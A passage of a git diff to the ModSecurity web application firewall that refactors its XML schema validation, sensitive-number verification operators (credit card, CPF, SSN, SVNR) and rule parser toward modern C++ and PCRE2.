(m_parserCtx == NULL) { + if (transaction->m_xml->m_data.doc == NULL) { + ms_dbg_a(transaction, 4, "XML document tree could not be found for " \ + "schema validation."); + return true; + } + + if (transaction->m_xml->m_data.well_formed != 1) { + ms_dbg_a(transaction, 4, "XML: Schema validation failed because " \ + "content is not well formed."); + return true; + } + + xmlSchemaParserCtxtPtr parserCtx = xmlSchemaNewParserCtxt(m_resource.c_str()); + if (parserCtx == NULL) { std::stringstream err; err << "XML: Failed to load Schema from file: "; err << m_resource; @@ -52,22 +63,16 @@ bool ValidateSchema::evaluate(Transaction *t, if (m_err.empty() == false) { err << m_err; } - ms_dbg_a(t, 4, err.str()); + ms_dbg_a(transaction, 4, err.str()); return true; } - xmlSchemaSetParserErrors(m_parserCtx, + xmlSchemaSetParserErrors(parserCtx, (xmlSchemaValidityErrorFunc)error_load, (xmlSchemaValidityWarningFunc)warn_load, &m_err); - xmlThrDefSetGenericErrorFunc(m_parserCtx, - null_error); - - xmlSetGenericErrorFunc(m_parserCtx, - null_error); - - m_schema = xmlSchemaParse(m_parserCtx); - if (m_schema == NULL) { + xmlSchemaPtr schema = xmlSchemaParse(parserCtx); + if (schema == NULL) { std::stringstream err; err << "XML: Failed to load Schema: "; err << m_resource; @@ -75,61 +80,41 @@ bool ValidateSchema::evaluate(Transaction *t, if (m_err.empty() == false) { err << " " << m_err; } - ms_dbg_a(t, 4, err.str()); - xmlSchemaFreeParserCtxt(m_parserCtx); + ms_dbg_a(transaction, 4, err.str()); + xmlSchemaFreeParserCtxt(parserCtx); return true; } - m_validCtx = xmlSchemaNewValidCtxt(m_schema); - if (m_validCtx == NULL) { + xmlSchemaValidCtxtPtr validCtx = xmlSchemaNewValidCtxt(schema); + if (validCtx == NULL) { std::stringstream err("XML: Failed to create validation context."); if (m_err.empty() == false) { err << " " << m_err; } - ms_dbg_a(t, 4, err.str()); + ms_dbg_a(transaction, 4, err.str()); + xmlSchemaFree(schema); + xmlSchemaFreeParserCtxt(parserCtx); return true; } /* Send validator errors/warnings to msr_log */ - xmlSchemaSetValidErrors(m_validCtx, + xmlSchemaSetValidErrors(validCtx, (xmlSchemaValidityErrorFunc)error_runtime, - (xmlSchemaValidityWarningFunc)warn_runtime, t); + (xmlSchemaValidityWarningFunc)warn_runtime, transaction); - if (t->m_xml->m_data.doc == NULL) { - ms_dbg_a(t, 4, "XML document tree could not be found for " \ - "schema validation."); - return true; - } - - if (t->m_xml->m_data.well_formed != 1) { - ms_dbg_a(t, 4, "XML: Schema validation failed because " \ - "content is not well formed."); - return true; - } + int rc = xmlSchemaValidateDoc(validCtx, transaction->m_xml->m_data.doc); - /* Make sure there were no other generic processing errors */ - /* - if (msr->msc_reqbody_error) { - ms_dbg_a(t, 4, "XML: Schema validation could not proceed due to previous" - " processing errors."); - return true; - } - */ - - rc = xmlSchemaValidateDoc(m_validCtx, t->m_xml->m_data.doc); + xmlSchemaFreeValidCtxt(validCtx); + xmlSchemaFree(schema); + xmlSchemaFreeParserCtxt(parserCtx); if (rc != 0) { - ms_dbg_a(t, 4, "XML: Schema validation failed."); - xmlSchemaFree(m_schema); - xmlSchemaFreeParserCtxt(m_parserCtx); + ms_dbg_a(transaction, 4, "XML: Schema validation failed."); return true; /* No match. */ + } else { + ms_dbg_a(transaction, 4, "XML: Successfully validated payload against " \ + "Schema: " + m_resource); + return false; } - - ms_dbg_a(t, 4, "XML: Successfully validated payload against " \ - "Schema: " + m_resource); - xmlSchemaFree(m_schema); - xmlSchemaFreeParserCtxt(m_parserCtx); - - return false; } #endif diff --git a/src/operators/validate_schema.h b/src/operators/validate_schema.h index b190ef15d9..96cca8f25f 100644 --- a/src/operators/validate_schema.h +++ b/src/operators/validate_schema.h @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -36,102 +36,69 @@ namespace operators { class ValidateSchema : public Operator { public: /** @ingroup ModSecurity_Operator */ -#ifndef WITH_LIBXML2 explicit ValidateSchema(std::unique_ptr param) : Operator("ValidateSchema", std::move(param)) { } -#else - explicit ValidateSchema(std::unique_ptr param) - : Operator("ValidateSchema", std::move(param)), - m_parserCtx(NULL), - m_validCtx(NULL), - m_schema(NULL) { } - ~ValidateSchema() { - /* - if (m_schema != NULL) { - xmlSchemaFree(m_schema); - m_schema = NULL; - } - */ - if (m_validCtx != NULL) { - xmlSchemaFreeValidCtxt(m_validCtx); - m_validCtx = NULL; - } - } +#ifdef WITH_LIBXML2 bool evaluate(Transaction *transaction, const std::string &str) override; bool init(const std::string &file, std::string *error) override; static void error_load(void *ctx, const char *msg, ...) { - std::string *t = reinterpret_cast(ctx); - char buf[1024]; va_list args; - va_start(args, msg); - int len = vsnprintf(buf, sizeof(buf), msg, args); + callback_func(ctx, append_msg, PREFIX_ERROR, msg, args); va_end(args); - - if (len > 0) { - t->append("XML Error: " + std::string(buf)); - } } static void warn_load(void *ctx, const char *msg, ...) { - std::string *t = reinterpret_cast(ctx); - char buf[1024]; va_list args; - va_start(args, msg); - int len = vsnprintf(buf, sizeof(buf), msg, args); + callback_func(ctx, append_msg, PREFIX_WARNING, msg, args); va_end(args); - - if (len > 0) { - t->append("XML Warning: " + std::string(buf)); - } } static void error_runtime(void *ctx, const char *msg, ...) { - Transaction *t = reinterpret_cast(ctx); - char buf[1024]; - std::string s; va_list args; - va_start(args, msg); - int len = vsnprintf(buf, sizeof(buf), msg, args); + callback_func(ctx, log_msg, PREFIX_ERROR, msg, args); va_end(args); - - if (len > 0) { - s = "XML Error: " + std::string(buf); - } - ms_dbg_a(t, 4, s); } static void warn_runtime(void *ctx, const char *msg, ...) { - Transaction *t = reinterpret_cast(ctx); - char buf[1024]; - std::string s; va_list args; - va_start(args, msg); - int len = vsnprintf(buf, sizeof(buf), msg, args); + callback_func(ctx, log_msg, PREFIX_WARNING, msg, args); va_end(args); + } + - if (len > 0) { - s = "XML Warning: " + std::string(buf); - } - ms_dbg_a(t, 4, s); + template + static void callback_func(void *ctx, Pred pred, const char *base_msg, const char *msg, va_list args) { + char buf[1024]; + const auto len = vsnprintf(buf, sizeof(buf), msg, args); + + if (len > 0) + pred(ctx, base_msg + std::string(buf)); } - static void null_error(void *ctx, const char *msg, ...) { + static void log_msg(const void *ctx, const std::string &msg) { + auto t = reinterpret_cast(ctx); + ms_dbg_a(t, 4, msg); } + static void append_msg(void *ctx, const std::string &msg) { + auto s = reinterpret_cast(ctx); + s->append(msg); + } + + static constexpr auto PREFIX_WARNING = "XML Warning: "; + static constexpr auto PREFIX_ERROR = "XML Error: "; + private: - xmlSchemaParserCtxtPtr m_parserCtx; - xmlSchemaValidCtxtPtr m_validCtx; - xmlSchemaPtr m_schema; std::string m_resource; std::string m_err; #endif diff --git a/src/operators/validate_url_encoding.cc b/src/operators/validate_url_encoding.cc index 20a86eb625..65a3a328b8 100644 --- a/src/operators/validate_url_encoding.cc +++ b/src/operators/validate_url_encoding.cc @@ -69,7 +69,7 @@ int ValidateUrlEncoding::validate_url_encoding(const char *input, bool ValidateUrlEncoding::evaluate(Transaction *transaction, RuleWithActions *rule, - const std::string &input, std::shared_ptr ruleMessage) { + const std::string &input, RuleMessage &ruleMessage) { size_t offset = 0; bool res = false; diff --git a/src/operators/validate_url_encoding.h b/src/operators/validate_url_encoding.h index fe274dc0a0..25c6db5d05 100644 --- a/src/operators/validate_url_encoding.h +++ b/src/operators/validate_url_encoding.h @@ -33,7 +33,7 @@ class ValidateUrlEncoding : public Operator { bool evaluate(Transaction *transaction, RuleWithActions *rule, const std::string &input, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; static int validate_url_encoding(const char *input, uint64_t input_length, size_t *offset); diff --git a/src/operators/validate_utf8_encoding.cc b/src/operators/validate_utf8_encoding.cc index e95061af3c..1a166efb69 100644 --- a/src/operators/validate_utf8_encoding.cc +++ b/src/operators/validate_utf8_encoding.cc @@ -19,6 +19,14 @@ #include "src/operators/operator.h" + +constexpr int UNICODE_ERROR_CHARACTERS_MISSING = -1; +constexpr int UNICODE_ERROR_INVALID_ENCODING = -2; +constexpr int UNICODE_ERROR_OVERLONG_CHARACTER = -3; +constexpr int UNICODE_ERROR_RESTRICTED_CHARACTER = -4; +constexpr int UNICODE_ERROR_DECODING_ERROR = -5; + + namespace modsecurity { namespace operators { @@ -114,7 +122,7 @@ int ValidateUtf8Encoding::detect_utf8_character( } bool ValidateUtf8Encoding::evaluate(Transaction *transaction, RuleWithActions *rule, - const std::string &str, std::shared_ptr ruleMessage) { + const std::string &str, RuleMessage &ruleMessage) { unsigned int i, bytes_left; const char *str_c = str.c_str(); @@ -132,7 +140,6 @@ bool ValidateUtf8Encoding::evaluate(Transaction *transaction, RuleWithActions *r std::to_string(i) + "\"]"); } return true; - break; case UNICODE_ERROR_INVALID_ENCODING : if (transaction) { ms_dbg_a(transaction, 8, "Invalid UTF-8 encoding: " @@ -142,7 +149,6 @@ bool ValidateUtf8Encoding::evaluate(Transaction *transaction, RuleWithActions *r logOffset(ruleMessage, i, str.size()); } return true; - break; case UNICODE_ERROR_OVERLONG_CHARACTER : if (transaction) { ms_dbg_a(transaction, 8, "Invalid UTF-8 encoding: " @@ -152,7 +158,6 @@ bool ValidateUtf8Encoding::evaluate(Transaction *transaction, RuleWithActions *r logOffset(ruleMessage, i, str.size()); } return true; - break; case UNICODE_ERROR_RESTRICTED_CHARACTER : if (transaction) { ms_dbg_a(transaction, 8, "Invalid UTF-8 encoding: " @@ -162,7 +167,6 @@ bool ValidateUtf8Encoding::evaluate(Transaction *transaction, RuleWithActions *r logOffset(ruleMessage, i, str.size()); } return true; - break; case UNICODE_ERROR_DECODING_ERROR : if (transaction) { ms_dbg_a(transaction, 8, "Error validating UTF-8 decoding " @@ -171,7 +175,6 @@ bool ValidateUtf8Encoding::evaluate(Transaction *transaction, RuleWithActions *r logOffset(ruleMessage, i, str.size()); } return true; - break; } if (rc <= 0) { diff --git a/src/operators/validate_utf8_encoding.h b/src/operators/validate_utf8_encoding.h index e59eef5897..fdb6ab01d7 100644 --- a/src/operators/validate_utf8_encoding.h +++ b/src/operators/validate_utf8_encoding.h @@ -22,13 +22,6 @@ #include "src/operators/operator.h" -#define UNICODE_ERROR_CHARACTERS_MISSING -1 -#define UNICODE_ERROR_INVALID_ENCODING -2 -#define UNICODE_ERROR_OVERLONG_CHARACTER -3 -#define UNICODE_ERROR_RESTRICTED_CHARACTER -4 -#define UNICODE_ERROR_DECODING_ERROR -5 - - namespace modsecurity { namespace operators { @@ -40,7 +33,7 @@ class ValidateUtf8Encoding : public Operator { bool evaluate(Transaction *transaction, RuleWithActions *rule, const std::string &str, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; static int detect_utf8_character(const unsigned char *p_read, unsigned int length); diff --git a/src/operators/verify_cc.cc b/src/operators/verify_cc.cc index ee39902d81..1ddbf4f494 100644 --- a/src/operators/verify_cc.cc +++ b/src/operators/verify_cc.cc @@ -21,11 +21,11 @@ #include "src/operators/operator.h" -#ifndef WITH_PCRE2 +#ifdef WITH_PCRE #if PCRE_HAVE_JIT #define pcre_study_opt PCRE_STUDY_JIT_COMPILE #else -#define pcre_study_opt 0 +constexpr int pcre_study_opt = 0; #endif #endif @@ -34,20 +34,20 @@ namespace modsecurity { namespace operators { VerifyCC::~VerifyCC() { -#if WITH_PCRE2 +#ifndef WITH_PCRE pcre2_code_free(m_pc); #else - if (m_pc != NULL) { + if (m_pc != nullptr) { pcre_free(m_pc); - m_pc = NULL; + m_pc = nullptr; } - if (m_pce != NULL) { + if (m_pce != nullptr) { #if PCRE_HAVE_JIT pcre_free_study(m_pce); #else pcre_free(m_pce); #endif - m_pce = NULL; + m_pce = nullptr; } #endif } @@ -59,7 +59,6 @@ int VerifyCC::luhnVerify(const char *ccnumber, int len) { int sum[2] = { 0, 0 }; int odd = 0; int digits = 0; - int i; /* Weighted lookup table which is just a precalculated (i = index): * i*2 + (( (i*2) > 9 ) ? -9 : 0) @@ -71,7 +70,7 @@ int VerifyCC::luhnVerify(const char *ccnumber, int len) { /* Add up only digits (weighted digits via lookup table) * for both odd and even CC numbers to avoid 2 passes. */ - for (i = 0; i < len; i++) { + for (int i = 0;i < len;i++) { if (ccnumber[i] >= (0 + 48) && ccnumber[i] <= (9 + 48)) { sum[0] += (!odd ? wtable[ccnumber[i] - '0'] : (ccnumber[i] - '0')); sum[1] += (odd ? wtable[ccnumber[i] - '0'] : (ccnumber[i] - '0')); @@ -95,33 +94,33 @@ int VerifyCC::luhnVerify(const char *ccnumber, int len) { bool VerifyCC::init(const std::string ¶m2, std::string *error) { -#ifdef WITH_PCRE2 +#ifndef WITH_PCRE PCRE2_SPTR pcre2_pattern = reinterpret_cast(m_param.c_str()); uint32_t pcre2_options = (PCRE2_DOTALL|PCRE2_MULTILINE); int errornumber = 0; PCRE2_SIZE erroroffset = 0; m_pc = pcre2_compile(pcre2_pattern, PCRE2_ZERO_TERMINATED, - pcre2_options, &errornumber, &erroroffset, NULL); - if (m_pc == NULL) { + pcre2_options, &errornumber, &erroroffset, nullptr); + if (m_pc == nullptr) { return false; } m_pcje = pcre2_jit_compile(m_pc, PCRE2_JIT_COMPLETE); #else - const char *errptr = NULL; + const char *errptr = nullptr; int erroffset = 0; m_pc = pcre_compile(m_param.c_str(), PCRE_DOTALL|PCRE_MULTILINE, - &errptr, &erroffset, NULL); - if (m_pc == NULL) { + &errptr, &erroffset, nullptr); + if (m_pc == nullptr) { error->assign(errptr); return false; } m_pce = pcre_study(m_pc, pcre_study_opt, &errptr); - if (m_pce == NULL) { - if (errptr == NULL) { + if (m_pce == nullptr) { + if (errptr == nullptr) { /* - * Per pcre_study(3) m_pce == NULL && errptr == NULL means + * Per pcre_study(3) m_pce == nullptr && errptr == nullptr means * that no addional information is found, so no need to study */ return true; @@ -136,22 +135,22 @@ bool VerifyCC::init(const std::string ¶m2, std::string *error) { bool VerifyCC::evaluate(Transaction *t, RuleWithActions *rule, - const std::string& i, std::shared_ptr ruleMessage) { -#ifdef WITH_PCRE2 + const std::string& i, RuleMessage &ruleMessage) { +#ifndef WITH_PCRE PCRE2_SIZE offset = 0; size_t target_length = i.length(); PCRE2_SPTR pcre2_i = reinterpret_cast(i.c_str()); - pcre2_match_data *match_data = pcre2_match_data_create_from_pattern(m_pc, NULL); + pcre2_match_data *match_data = pcre2_match_data_create_from_pattern(m_pc, nullptr); int ret; for (offset = 0; offset < target_length; offset++) { if (m_pcje == 0) { - ret = pcre2_jit_match(m_pc, pcre2_i, target_length, offset, 0, match_data, NULL); + ret = pcre2_jit_match(m_pc, pcre2_i, target_length, offset, 0, match_data, nullptr); } if (m_pcje != 0 || ret == PCRE2_ERROR_JIT_STACKLIMIT) { - ret = pcre2_match(m_pc, pcre2_i, target_length, offset, PCRE2_NO_JIT, match_data, NULL); + ret = pcre2_match(m_pc, pcre2_i, target_length, offset, PCRE2_NO_JIT, match_data, nullptr); } /* If there was no match, then we are done. */ @@ -193,7 +192,7 @@ bool VerifyCC::evaluate(Transaction *t, RuleWithActions *rule, "\" at " + i + ". [offset " + std::to_string(offset) + "]"); } -#ifdef WITH_PCRE2 +#ifndef WITH_PCRE pcre2_match_data_free(match_data); #endif return true; @@ -201,7 +200,7 @@ bool VerifyCC::evaluate(Transaction *t, RuleWithActions *rule, } } -#ifdef WITH_PCRE2 +#ifndef WITH_PCRE pcre2_match_data_free(match_data); #endif diff --git a/src/operators/verify_cc.h b/src/operators/verify_cc.h index f7d716daf3..7e7e158bc9 100644 --- a/src/operators/verify_cc.h +++ b/src/operators/verify_cc.h @@ -16,7 +16,7 @@ #ifndef SRC_OPERATORS_VERIFY_CC_H_ #define SRC_OPERATORS_VERIFY_CC_H_ -#if WITH_PCRE2 +#ifndef WITH_PCRE #define PCRE2_CODE_UNIT_WIDTH 8 #include #else @@ -38,21 +38,21 @@ class VerifyCC : public Operator { /** @ingroup ModSecurity_Operator */ explicit VerifyCC(std::unique_ptr param) : Operator("VerifyCC", std::move(param)), -#if WITH_PCRE2 - m_pc(NULL), +#ifndef WITH_PCRE + m_pc(nullptr), m_pcje(PCRE2_ERROR_JIT_BADOPTION) { } #else - m_pc(NULL), - m_pce(NULL) { } + m_pc(nullptr), + m_pce(nullptr) { } #endif - ~VerifyCC(); + ~VerifyCC() override; bool evaluate(Transaction *t, RuleWithActions *rule, const std::string& input, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; bool init(const std::string ¶m, std::string *error) override; private: -#if WITH_PCRE2 +#ifndef WITH_PCRE pcre2_code *m_pc; int m_pcje; #else diff --git a/src/operators/verify_cpf.cc b/src/operators/verify_cpf.cc index 778584db62..af23a187e3 100644 --- a/src/operators/verify_cpf.cc +++ b/src/operators/verify_cpf.cc @@ -38,7 +38,7 @@ int VerifyCPF::convert_to_int(const char c) { } -bool VerifyCPF::verify(const char *cpfnumber, int len) { +bool VerifyCPF::verify(const char *cpfnumber, int len) const { int factor, part_1, part_2, var_len = len; unsigned int sum = 0, i = 0, cpf_len = 11, c; int cpf[11]; @@ -109,16 +109,15 @@ bool VerifyCPF::verify(const char *cpfnumber, int len) { bool VerifyCPF::evaluate(Transaction *t, RuleWithActions *rule, - const std::string& input, std::shared_ptr ruleMessage) { + const std::string& input, RuleMessage &ruleMessage) { std::list matches; bool is_cpf = false; - int i; if (m_param.empty()) { return false; } - for (i = 0; i < input.size() - 1 && is_cpf == false; i++) { + for (size_t i = 0; i + 1 < input.size() && !is_cpf; i++) { matches = m_re->searchAll(input.substr(i, input.size())); for (const auto & m : matches) { is_cpf = verify(m.str().c_str(), m.str().size()); diff --git a/src/operators/verify_cpf.h b/src/operators/verify_cpf.h index eecf71b1a2..22e260265b 100644 --- a/src/operators/verify_cpf.h +++ b/src/operators/verify_cpf.h @@ -35,26 +35,21 @@ class VerifyCPF : public Operator { public: /** @ingroup ModSecurity_Operator */ explicit VerifyCPF(std::unique_ptr param) - : Operator("VerifyCPF", std::move(param)) { - m_re = new Regex(m_param); - } - - ~VerifyCPF() { - delete m_re; - } + : Operator("VerifyCPF", std::move(param)) + , m_re(std::make_unique(m_param)) { } bool operator=(const VerifyCPF &a) = delete; VerifyCPF(const VerifyCPF &a) = delete; bool evaluate(Transaction *transaction, RuleWithActions *rule, const std::string& input, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; - bool verify(const char *ssnumber, int len); + bool verify(const char *ssnumber, int len) const; private: static int convert_to_int(const char c); - Regex *m_re; + std::unique_ptr m_re; const char bad_cpf[12][12] = { "00000000000", "01234567890", "11111111111", diff --git a/src/operators/verify_ssn.cc b/src/operators/verify_ssn.cc index 59a36dd78f..e250669c64 100644 --- a/src/operators/verify_ssn.cc +++ b/src/operators/verify_ssn.cc @@ -111,16 +111,15 @@ bool VerifySSN::verify(const char *ssnumber, int len) { bool VerifySSN::evaluate(Transaction *t, RuleWithActions *rule, - const std::string& input, std::shared_ptr ruleMessage) { + const std::string& input, RuleMessage &ruleMessage) { std::list matches; bool is_ssn = false; - int i; if (m_param.empty()) { return false; } - for (i = 0; i < input.size() - 1 && is_ssn == false; i++) { + for (size_t i = 0; i + 1 < input.size() && !is_ssn; i++) { matches = m_re->searchAll(input.substr(i, input.size())); for (const auto & j : matches) { is_ssn = verify(j.str().c_str(), j.str().size()); diff --git a/src/operators/verify_ssn.h b/src/operators/verify_ssn.h index 7c0828fbb9..5b54492be2 100644 --- a/src/operators/verify_ssn.h +++ b/src/operators/verify_ssn.h @@ -35,20 +35,15 @@ class VerifySSN : public Operator { public: /** @ingroup ModSecurity_Operator */ explicit VerifySSN(std::unique_ptr param) - : Operator("VerifySSN", std::move(param)) { - m_re = new Regex(m_param); - } - - ~VerifySSN() { - delete m_re; - } + : Operator("VerifySSN", std::move(param)) + , m_re(std::make_unique(m_param)) { } bool operator=(const VerifySSN &a) = delete; VerifySSN(const VerifySSN &a) = delete; bool evaluate(Transaction *transaction, RuleWithActions *rule, const std::string& input, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; @@ -56,7 +51,7 @@ class VerifySSN : public Operator { static bool verify(const char *ssnumber, int len); static int convert_to_int(const char c); - Regex *m_re; + std::unique_ptr m_re; }; } // namespace operators diff --git a/src/operators/verify_svnr.cc b/src/operators/verify_svnr.cc index 248e6b4ec1..1bfaae31ca 100644 --- a/src/operators/verify_svnr.cc +++ b/src/operators/verify_svnr.cc @@ -24,7 +24,7 @@ int VerifySVNR::convert_to_int(const char c) { } -bool VerifySVNR::verify(const char *svnrnumber, int len) { +bool VerifySVNR::verify(const char *svnrnumber, int len) const { int var_len = len; int sum = 0; unsigned int i = 0, svnr_len = 10; @@ -78,16 +78,15 @@ bool VerifySVNR::verify(const char *svnrnumber, int len) { bool VerifySVNR::evaluate(Transaction *t, RuleWithActions *rule, - const std::string& input, std::shared_ptr ruleMessage) { + const std::string& input, RuleMessage &ruleMessage) { std::list matches; bool is_svnr = false; - int i; if (m_param.empty()) { return is_svnr; } - for (i = 0; i < input.size() - 1 && is_svnr == false; i++) { + for (size_t i = 0; i + 1 < input.size() && !is_svnr; i++) { matches = m_re->searchAll(input.substr(i, input.size())); for (const auto & j : matches) { diff --git a/src/operators/verify_svnr.h b/src/operators/verify_svnr.h index 6fe9df9afb..ee693346d4 100644 --- a/src/operators/verify_svnr.h +++ b/src/operators/verify_svnr.h @@ -21,25 +21,20 @@ class VerifySVNR : public Operator { public: /** @ingroup ModSecurity_Operator */ explicit VerifySVNR(std::unique_ptr param) - : Operator("VerifySVNR", std::move(param)) { - m_re = new Regex(m_param); - } - - ~VerifySVNR() { - delete m_re; - } + : Operator("VerifySVNR", std::move(param)) + , m_re(std::make_unique(m_param)) { } bool operator=(const VerifySVNR &a) = delete; VerifySVNR(const VerifySVNR &a) = delete; bool evaluate(Transaction *transaction, RuleWithActions *rule, const std::string& input, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; - bool verify(const char *ssnumber, int len); + bool verify(const char *ssnumber, int len) const; private: - Regex *m_re; + std::unique_ptr m_re; static int convert_to_int(const char c); const char bad_svnr[12][11] = { "0000000000", "0123456789", diff --git a/src/operators/within.cc b/src/operators/within.cc index ce781cc7d7..ed58ce2e3d 100644 --- a/src/operators/within.cc +++ b/src/operators/within.cc @@ -25,7 +25,7 @@ namespace operators { bool Within::evaluate(Transaction *transaction, RuleWithActions *rule, - const std::string &str, std::shared_ptr ruleMessage) { + const std::string &str, RuleMessage &ruleMessage) { bool res = false; size_t pos = 0; std::string paramTarget(m_string->evaluate(transaction)); diff --git a/src/operators/within.h b/src/operators/within.h index 7fcb430910..b67ad35f18 100644 --- a/src/operators/within.h +++ b/src/operators/within.h @@ -34,7 +34,7 @@ class Within : public Operator { m_couldContainsMacro = true; } bool evaluate(Transaction *transaction, RuleWithActions *rule, - const std::string &str, std::shared_ptr ruleMessage) override; + const std::string &str, RuleMessage &ruleMessage) override; }; } // namespace operators diff --git a/src/parser/Makefile.am b/src/parser/Makefile.am index c5605d677a..685675819f 100644 --- a/src/parser/Makefile.am +++ b/src/parser/Makefile.am @@ -11,11 +11,9 @@ libmodsec_parser_la_SOURCES = \ test.cc libmodsec_parser_la_CPPFLAGS = \ - -std=c++11 \ -I../.. \ -I../../headers \ -I../../others \ - -std=c++11 \ -I.. \ -g \ -fPIC \ @@ -27,6 +25,7 @@ libmodsec_parser_la_CPPFLAGS = \ $(YAJL_CFLAGS) \ $(LMDB_CFLAGS) \ $(PCRE_CFLAGS) \ + $(PCRE2_CFLAGS) \ $(LIBXML2_CFLAGS) test.cc: seclang-parser.hh diff --git a/src/parser/driver.cc b/src/parser/driver.cc index a6a9755c9a..a193e7bcdf 100644 --- a/src/parser/driver.cc +++ b/src/parser/driver.cc @@ -43,11 +43,10 @@ Driver::~Driver() { } -int Driver::addSecMarker(const std::string& marker, std::unique_ptr fileName, int lineNumber) { +int Driver::addSecMarker(const std::string& marker, const std::string &fileName, int lineNumber) { // FIXME: we might move this to the parser. for (int i = 0; i < modsecurity::Phases::NUMBER_OF_PHASES; i++) { - RuleMarker *r = new RuleMarker(marker, std::unique_ptr(new std::string(*fileName)), lineNumber); - std::unique_ptr rule(r); + auto rule = std::make_unique(marker, fileName, lineNumber); rule->setPhase(i); m_rulesSetPhases.insert(std::move(rule)); } @@ -108,9 +107,9 @@ int Driver::addSecRule(std::unique_ptr r) { } for (int i = 0; i < modsecurity::Phases::NUMBER_OF_PHASES; i++) { - Rules *rules = m_rulesSetPhases[i]; + const Rules *rules = m_rulesSetPhases[i]; for (int j = 0; j < rules->size(); j++) { - RuleWithOperator *lr = dynamic_cast(rules->at(j).get()); + const RuleWithOperator *lr = dynamic_cast(rules->at(j).get()); if (lr && lr->m_ruleId == rule->m_ruleId) { m_parserError << "Rule id: " << std::to_string(rule->m_ruleId) \ << " is duplicated" << std::endl; @@ -145,7 +144,14 @@ int Driver::parse(const std::string &f, const std::string &ref) { scan_begin(); yy::seclang_parser parser(*this); parser.set_debug_level(trace_parsing); - int res = parser.parse(); + int res; + try { + res = parser.parse(); + } catch (...) { + scan_end(); + m_parserError << "Parser exception caught during rule parsing." << std::endl; + return 1; + } scan_end(); /* diff --git a/src/parser/driver.h b/src/parser/driver.h index 20e7ef3c68..dadb978d90 100644 --- a/src/parser/driver.h +++ b/src/parser/driver.h @@ -60,7 +60,7 @@ class Driver : public RulesSetProperties { int addSecRule(std::unique_ptr rule); int addSecAction(std::unique_ptr rule); - int addSecMarker(const std::string& marker, std::unique_ptr fileName, int lineNumber); + int addSecMarker(const std::string& marker, const std::string &fileName, int lineNumber); int addSecRuleScript(std::unique_ptr rule); bool scan_begin(); diff --git a/src/parser/seclang-parser.cc b/src/parser/seclang-parser.cc index e7192bf949..dc4a68226a 100644 --- a/src/parser/seclang-parser.cc +++ b/src/parser/seclang-parser.cc @@ -42,7 +42,7 @@ // Unqualified %code blocks. -#line 330 "seclang-parser.yy" +#line 335 "seclang-parser.yy" #include "src/parser/driver.h" @@ -219,6 +219,7 @@ namespace yy { case symbol_kind::S_ACTION_CTL_BDY_XML: // "ACTION_CTL_BDY_XML" case symbol_kind::S_ACTION_CTL_BDY_URLENCODED: // "ACTION_CTL_BDY_URLENCODED" case symbol_kind::S_ACTION_CTL_FORCE_REQ_BODY_VAR: // "ACTION_CTL_FORCE_REQ_BODY_VAR" + case symbol_kind::S_ACTION_CTL_PARSE_XML_INTO_ARGS: // "ACTION_CTL_PARSE_XML_INTO_ARGS" case symbol_kind::S_ACTION_CTL_REQUEST_BODY_ACCESS: // "ACTION_CTL_REQUEST_BODY_ACCESS" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_ID: // "ACTION_CTL_RULE_REMOVE_BY_ID" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_TAG: // "ACTION_CTL_RULE_REMOVE_BY_TAG" @@ -310,6 +311,7 @@ namespace yy { case symbol_kind::S_CONFIG_DIR_AUDIT_LOG2: // "CONFIG_DIR_AUDIT_LOG2" case symbol_kind::S_CONFIG_DIR_AUDIT_LOG_P: // "CONFIG_DIR_AUDIT_LOG_P" case symbol_kind::S_CONFIG_DIR_AUDIT_STS: // "CONFIG_DIR_AUDIT_STS" + case symbol_kind::S_CONFIG_DIR_AUDIT_PREFIX: // "CONFIG_DIR_AUDIT_PREFIX" case symbol_kind::S_CONFIG_DIR_AUDIT_TPE: // "CONFIG_DIR_AUDIT_TPE" case symbol_kind::S_CONFIG_DIR_DEBUG_LOG: // "CONFIG_DIR_DEBUG_LOG" case symbol_kind::S_CONFIG_DIR_DEBUG_LVL: // "CONFIG_DIR_DEBUG_LVL" @@ -366,6 +368,7 @@ namespace yy { case symbol_kind::S_CONFIG_VALUE_ABORT: // "CONFIG_VALUE_ABORT" case symbol_kind::S_CONFIG_VALUE_DETC: // "CONFIG_VALUE_DETC" case symbol_kind::S_CONFIG_VALUE_HTTPS: // "CONFIG_VALUE_HTTPS" + case symbol_kind::S_CONFIG_VALUE_ONLYARGS: // "CONFIG_VALUE_ONLYARGS" case symbol_kind::S_CONFIG_VALUE_OFF: // "CONFIG_VALUE_OFF" case symbol_kind::S_CONFIG_VALUE_ON: // "CONFIG_VALUE_ON" case symbol_kind::S_CONFIG_VALUE_PARALLEL: // "CONFIG_VALUE_PARALLEL" @@ -375,6 +378,7 @@ namespace yy { case symbol_kind::S_CONFIG_VALUE_SERIAL: // "CONFIG_VALUE_SERIAL" case symbol_kind::S_CONFIG_VALUE_WARN: // "CONFIG_VALUE_WARN" case symbol_kind::S_CONFIG_XML_EXTERNAL_ENTITY: // "CONFIG_XML_EXTERNAL_ENTITY" + case symbol_kind::S_CONFIG_XML_PARSE_XML_INTO_ARGS: // "CONFIG_XML_PARSE_XML_INTO_ARGS" case symbol_kind::S_CONGIG_DIR_RESPONSE_BODY_MP: // "CONGIG_DIR_RESPONSE_BODY_MP" case symbol_kind::S_CONGIG_DIR_SEC_ARG_SEP: // "CONGIG_DIR_SEC_ARG_SEP" case symbol_kind::S_CONGIG_DIR_SEC_COOKIE_FORMAT: // "CONGIG_DIR_SEC_COOKIE_FORMAT" @@ -465,6 +469,7 @@ namespace yy { case symbol_kind::S_ACTION_CTL_BDY_XML: // "ACTION_CTL_BDY_XML" case symbol_kind::S_ACTION_CTL_BDY_URLENCODED: // "ACTION_CTL_BDY_URLENCODED" case symbol_kind::S_ACTION_CTL_FORCE_REQ_BODY_VAR: // "ACTION_CTL_FORCE_REQ_BODY_VAR" + case 